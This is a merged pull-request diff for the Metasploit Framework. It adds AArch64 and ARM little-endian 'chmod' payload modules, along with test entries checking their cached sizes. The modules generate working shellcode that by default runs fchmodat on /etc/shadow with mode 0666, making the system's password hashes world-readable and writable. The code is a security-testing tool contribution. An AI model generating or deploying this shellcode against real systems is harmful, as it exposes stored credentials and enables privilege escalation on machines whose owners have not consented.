Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
73 changes: 73 additions & 0 deletions modules/payloads/singles/linux/aarch64/chmod.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
CachedSize = 48

include Msf::Payload::Single
include Msf::Payload::Linux::Aarch64::Prepends

def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Linux Chmod',
'Description' => 'Runs chmod on the specified file with specified mode.',
'Author' => 'bcoles',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_AARCH64,
'References' => [
['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'],
['URL', 'https://github.com/bcoles/shellcode/blob/main/aarch64/chmod/chmod.s'],
]
)
)
register_options([
OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
])
end

# @return [String] the full path of the file to be modified
def chmod_file_path
datastore['FILE'] || ''
end

# @return [Integer] the desired mode for the file
def mode
(datastore['MODE'] || '0666').oct
rescue StandardError => e
raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"
end

# @return [Integer] AArch64 instruction to load mode into x2 register
# For example: 0xd28036c2 ; mov x2, #0x1b6 ; loads 0x1b6 (0o666) into x2
def chmod_instruction(mode)
(0xd2800000 | ((mode & 0xffff) << 5) | 2)
end

def generate(_opts = {})
raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0x7FF)" if mode > 0x7FF

shellcode = [
0x92800c60, # mov x0, #0xffffffffffffff9c // #-100
0x10000101, # adr x1, 40009c <path>
chmod_instruction(mode), # mov x2, <mode>
0xd2800003, # mov x3, #0
0xd28006a8, # mov x8, #0x35 # __NR_fchmodat
0xd4000001, # svc #0
0xd2800000, # mov x0, #0
0xd2800ba8, # mov x8, #0x5d # __NR_exit
0xd4000001 # svc #0
].pack('V*')
shellcode += chmod_file_path + "\x00"

# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0

super.to_s + shellcode
end
end
70 changes: 70 additions & 0 deletions modules/payloads/singles/linux/armle/chmod.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
CachedSize = 40

include Msf::Payload::Single

def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Linux Chmod',
'Description' => 'Runs chmod on the specified file with specified mode.',
'Author' => 'bcoles',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'References' => [
['URL', 'https://man7.org/linux/man-pages/man2/chmod.2.html'],
['URL', 'https://github.com/bcoles/shellcode/blob/main/armle/chmod/chmod.s'],
]
)
)
register_options([
OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
])
end

# @return [String] the full path of the file to be modified
def chmod_file_path
datastore['FILE'] || ''
end

# @return [Integer] the desired mode for the file
def mode
(datastore['MODE'] || '0666').oct
rescue StandardError => e
raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"
end

# @return [Integer] ARM LE instruction to load mode into r2 register
# For example: 0xe30011b6 ; mov r1, #0666 ; loads 0x1b6 (0o666) into r2
def chmod_instruction(mode)
0xe3000000 | ((mode & 0xF000) << 4) | (1 << 12) | (mode & 0x0FFF)
end

def generate(_opts = {})
raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0xFFF)" if mode > 0xFFF

shellcode = [
0xe28f0014, # add r0, pc, #20 # pointer to path
chmod_instruction(mode), # movw r2, <mode>
0xe3a0700f, # mov r7, #15 # __NR_fchmodat
0xef000000, # svc 0x00000000 # syscall
0xe3a00000, # mov r0, #0 # exit code = 0
0xe3a07001, # mov r7, #1 # __NR_exit
0xef000000 # svc 0x00000000 # syscall
].pack('V*')
shellcode += chmod_file_path + "\x00"

# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0

super.to_s + shellcode
end
end
21 changes: 20 additions & 1 deletion spec/modules/payloads_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -1827,6 +1827,16 @@
reference_name: 'java/shell_reverse_tcp'
end

context 'linux/aarch64/chmod' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/linux/aarch64/chmod'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'linux/aarch64/chmod'
end

context 'linux/aarch64/shell_reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
Expand Down Expand Up @@ -1868,7 +1878,6 @@
reference_name: 'linux/aarch64/shell/reverse_tcp'
end


context 'linux/armbe/shell_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
Expand All @@ -1889,6 +1898,16 @@
reference_name: 'linux/armle/adduser'
end

context 'linux/armle/chmod' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/linux/armle/chmod'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'linux/armle/chmod'
end

context 'linux/armle/exec' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
Expand Down
Loading